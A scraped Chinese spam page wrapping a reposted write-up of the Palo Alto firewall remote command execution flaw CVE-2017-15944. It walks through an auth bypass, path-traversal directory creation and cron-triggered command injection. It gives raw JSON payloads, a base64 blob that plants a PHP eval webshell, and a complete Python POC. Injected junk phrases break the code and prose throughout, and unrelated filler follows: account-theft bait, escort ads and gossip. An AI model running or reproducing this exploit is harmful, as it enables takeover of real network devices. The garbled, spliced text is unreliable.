怎么盗号不容易被发现 *** -PaloAlto远程命令执行漏洞关键技术剖析终篇(附POC )
本文是对Palo Alto入侵防御系统未受权远程控制编码执行漏洞(CVE-2017-15944 )中SESSION设定、随意文件目录建立、指令执行漏洞的技术指标分析。以前对该漏洞验证绕开一部分开展了详细介绍,本文是该漏洞的事后一部分。
(一)SESSION设定
在验证绕开漏洞中,必须根据浏览中国之一 *** 黑客https://ip/esp/cms_changeDeviceContext.esp来设定SESSION中的user自变量。在cms_changeDeviceContext.esp中,启用了panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout()),这一涵数的完成在/usr/lib/php/modules/panmodule.so中。下边根据调节该涵数,来剖析SESSION自变量的设中国之一 *** 黑客置。浏览https://ip/esp/cms_changeDeviceContext.esp?device=4096:aaaaaaaa:bbbbbbbb,进到panUserSetDeviceLocation涵数:
1、deviceStr表针偏向的字符串数组便是传到的URL主要参数device的值:”4096:aaaaaaaa:bbbbbbbb”
2、启用panPhpConvertStringToLoc(char* deviceStr, pan_swal_config_loc_t* pLoc)涵数,将deviceStr开展解决后储存在pLoc中,解决的关键逻辑性以下:
1) 找寻之一个’:'标识符,将之一个’:'以前的字符串数组依照十进制转换为整数金额dNumber;
2)找寻第二个’:'标识符,将之一个’:'与第二个’:'中间的字符串数组deviceName(不必要20h个,全自动断开)拷贝在4-24小时字节数处;
3)找寻第三个’:'标识符,将第二个’:'与第三个’:'中间的字符串数组str2(不必要20h个,全自动断开)拷贝在24小时-44h字节数处;
4)如果有,再次找寻后边’:'标识符,将第n个’:'与第n 一个’:'中间的字符串数组strn(不必要20h个,全自动断开)拷贝在24小时-44h字节数处,遮盖原先的数据信息最终pLoc的构造以下:
3、启用panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize)涵数,主要参数devName字符串数组便是pLoc构造中的devName字符串数组,在该键入中,为”aaaaaaaa”。panPhpSetDeviceForSession启用panPhpSetDeviceAndVsysForSession(pan_char_t 中国之一 *** 黑客 *cookie, pan_char_t *devName, pan_char_t *vsysName, pan_char_t *errMsgBuf, pan_uint32_t bufSize),主要参数devName字符串数组便是pLoc构造中的devName字符串数组,在该键入中为”aaaaaaaa”;主要参数vsysName字符串数组为“vsys1”中国之一 *** 黑客。
panPhpSetDeviceAndVsysForSession的重要解决逻辑性以下:
1)启用panPhpConvertLocToString,回到“8:aaaaaaaa”
2)根据panPhpSetSessionVar涵数,将session自变量dloc设定为“8:aaaaaaaa”
中国之一 *** 黑客
3)根据panPhpSetSessionVar涵数,将session自变量loc设定为“16:aaaaaaaa:vsys1”
4、依据上述剖析,假如像上一篇文章(http://www.freebuf.com/articles/es/159119.html)一样,键入https://ip/esp/中国之一 *** 黑客cms_changeDeviceContext.esp ?device=aaaa:bbbb’”;user|s: ,则dloc的标值为 8:bbbb’”;user|s,loc的标值为16:bbbb’”;user|s:vsys1,载入的session的标值为 中国之一 *** 黑客 dloc|s:15:8:bbbb’”;user|s”;loc|s:22:”16:bbbb’”;user|s:vsys1″;
(二)随意文件目录建立
向https://ip/php/utils/router.php/Administrator.get运用POST *** 递交以下数据信息:
{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5209a","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\\" 中国之一 *** 黑客 async-mode='yes' refresh='yes' 中国之一 *** 黑客cookie='../../../.中国之一 *** 黑客 ./../../tmp/hacked'/>\\u0000"}],"type":"rpc","tid":713}
会建立/tmp/hacked文档,下边对基本原理开展剖析:
1、router.php文件中界定了ExtDirect_Router类,此类承继自RouterAbstract
2、router.php新创建ExtDirect_Router目标,并先后启用getResponse()=>>dispatch(),在dispatch中对POST递交的数据信息开展 *** ON解决,接到的POST数据信息为:
{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5209a","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\\" 中国之一 *** 黑客 async-mode='yes' refresh='yes' 中国之一 *** 黑客 cookie='../../../../../../tmp/hacked'/>\\u0000"}],"type":"rpc","tid":713}
解决以后取值给request自变量,requet自变量的标值以下:
3、将request自变量递交给rpc($request)涵数,在rpc涵数中根据call_user_func_array(array($instance,$method), 中国之一 *** 黑客 $params)启用PanDirect->execute($params)
4、PanDirect->execute($params)的逻辑性以下:
1)checkValidRemoteCall对类、方式、是不是为静态 *** 开展判断;
2)$obj 中国之一 *** 黑客 = $reflection->newInstanceArgs(array($jsonArgs));创建Administrator类;
3)$obj->$method();启用Administrator类的get方式
5、Administrator.get方式启用Direct::getConfigByXpath()涵数,产生的xml如下图:
6、最后根据MSCommection.php中的writeaPayload涵数将xml字符串数组发给后台进程mgmtsrvr
7、mgmtsrvr中的pan_mgmtsrvr_client_svc涵数接受的数据信息以下。/tmp/hacked’/>以后,有一个0字节,产生数据信息断开
8、最后在libpanmp_mp.so.1中的pan_jobmgr_store_job_result涵数中运用途径回朔,创建了/tmp/hacked文件夹名称
(三)指令执行
1、查询/etc/cron.d/文件目录下 的文件,此目录下存放的是系统级任务的任务文件。下面有个indexgen文件,会在0、15、30、45分钟的时候执行genindex_batch.sh脚本:
SHELL=/bin/bash0,15中国之一黑客,30,45 * * * * root /usr/local/bin/genindex_batch.sh
在genindex_batch.sh中调用了/usr/local/bin/genindex.sh脚本
2、genindex.sh中造成命令执行的关键代码如下,其中PAN_BASE_DIR=/opt/pancfg/mgmt
3、命令执行
1)利用文件夹创建漏洞,发送
{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" 中国之一黑客 async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c 中国之一黑客 exec(\"Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid":71中国之一黑客3}
2)创建文件夹/opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) 中国之一黑客 ;,其中base64编码数据解码之后的数值为f=open(‘/var/appweb/htdocs/vudrc.php’, ‘w’);f.write(“<?php @eval($_POST['chvuc010']);?>”);f.close();
3)genindex.sh执行的时候,执行的`find $day -mmin 中国之一黑客 +5 -name pan.*.log | sort -r` 成为`find /opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) 中国之一黑客 ; -mmin +5 -name pan.*.log | sort -r`,形成命令注入。
4)最多15分钟后,在/var/appweb/htdocs/vudrc.php写入一句话木马,密码为chvuc010
(四)poc
import 中国之一黑客 urllib
import urllib2
import ssl
import sys
ssl._create_default_https_context 中国之一黑客 = ssl._create_unverified_context
domain = "192.168.1.1"
#pass auth
print "step 1: pass_auth"
pass_auth_url = "https://" + domain + "/esp/cms_changeDeviceContext.esp?device=1024:bbbb'\";user|s:"
print "pass_auth request: " + pass_auth_url
request = urllib2.Request(pass_auth_url)
response = urllib2.urlopen(request)
print 中国之一黑客 "pass_auth respone: " + response.read()
session_start_index = response.headers['Set-Cookie'].find("PHPSESSID")
if session_start_index == -1:
print "pass_auth fail!!"
sys.exit()
session = response.headers['Set-Cookie'][session_start_index:]
session = session[:session.find(';')]
auth_headers = {
'Cookie':session,
'Connection':'keep-alive'
}
print "\n"
print "step 2: check if pass auth"
auth_url 中国之一黑客 = "https://" + domain + "/php/utils/debug.php"
print "auth_url request: " + auth_url
request = urllib2.Request(auth_url, headers = auth_headers)
response = urllib2.urlopen(request)
content = response.read()
#print content
if "Debug" not 中国之一黑客 in content:
print "pass auth fail!!"
sys.exit()
print "pass auth success!!"
print "\n"
print "setp 3: create dir"
create_dir_url = "https://" + domain 中国之一黑客 + "/php/utils/router.php/Administrator.get"
print "create_dir request: " + create_dir_url
post_data = "{\"action\":\"PanDirect\",\中国之一黑客"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin']中国之一黑客\\\" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(\\\"Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==\\\".decode(\\\"base64\\\")) 中国之一黑客 ;'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}"
request = urllib2.Request(create_dir_url, headers = 中国之一黑客 auth_headers, data=post_data)
response = urllib2.urlopen(request)
print "\n"
print "15 minutes 中国之一黑客 later, visit https://" + domain + "/vudrc.php"
*本文原创作者:xmwanth,本文属FreeBuf原创奖励计划,未经许可禁止转载
你好!由于距离比较近,就没有直达的长途汽车了,但路过客车是比较多的,但是时间不确定,只能靠经验去路口等了,要看自己的运气了。建议您还是乘坐公交车比较。怎么盗号不会被发现 ***
如何联系黑客大户。小吵闹的技能是根据你目前为止的状态比如是否满血、护盾、是否烧伤以及腐蚀等,还有周围的环境来决定的,状态越好,出现的好技能的几率越大给电脑装一个Android系统或装一个Android模拟器即可。
怎么盗号不会被发现 *** 。技术而言国外比较牛国内也有高手但是和国外比差很多因为这种信息技术国外要比国内发展快很多比如美国瑞典都很厉害的我国黑客数量逐年上升,普遍黑客技术还落后,不缺有技术高手,大家奔波在因特网中,其中国家一级黑客也不少数,普通黑客巨大,顶级黑客就几个,数数都中国之一黑客数出来,塞外狼凶,身旁犬吠,哪个厉害呢?论实力,国外黑客厉害,论威协,身边黑客厉害。
。简单来说。我们现在说的黑客,通常就是指一些有一定编程技术的人,有能力修改或增强其功能甚至自制病毒程序的人,那么就是现在我们所指的黑客。黑。
对于黑客来说现在字典已经快淘汰了,因为随着密码的复杂程度的提高(人们意识的提高)。字典破解密码很难实现了。怎么盗号不会被发现 ***
。楼主你好!只选对的,不选多的,本人自己觉得更好听的歌,楼主一定要听听啊!(以下的超好听,推荐先听)朴尚民中国之一黑客-不要哭受了点伤(英文).最终幻想10。
怎么盗号不会被发现 *** 黑客精英游戏还是很好玩的,你可以百度搜索N.T.S安全网这论坛里面就有下载样。祝你玩的开心。
QQ一直是我们生活聊天重要的互联网社交工具,其中QQ群就是其中一个重要的社交平台,QQ群一般都会有一个创立者,这个人就是QQ群主,QQ群主一般拥有这个QQ群的生杀大权,一般情况下,QQ群主是不会转让的...
全国空降高端外围预约平台 空姐品质推荐【何瑞进】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄北京 女 28,婚姻:未婚,学历:高中,气质:全国空降高端外围...
网络找黑客被骗相关问题 黑客盗qq网站24小时在线相关问题 硬件黑客为什么喜欢用16进制 用自己手机查看别人微信(微信怎么查看手机号)...
他们唱的歌大多数是汪峰先生写的,具有深厚意义。加上他们嘶吼的腔调身份让歌曲更加丰富,多彩 青春歌曲原唱:沈庆青春的花开花谢让我疲惫却不后悔四季的雨飞雪飞让我心醉却不堪憔悴轻轻的风轻轻的梦轻轻的晨。...
大多数大型网站改版之前或者新增功能之前会通过问卷调查来分析用户的需求,然后进行改版,还有部分小网站会通过百度热力图来修改自己网站体验,那么我们做网站SEO应该要如何收集数据,收集数据的方法又有哪些呢!...
王力宏和妻子李靓蕾两人听说還是一对两小无猜,两人自小就了解,但由于王力宏比李靓蕾整整的变大10岁,王力宏也是看见自身的娇妻长大了,在李靓蕾长大后两人就在一起了,这两人的爱情小故事也是很令人艳羡的,婚后...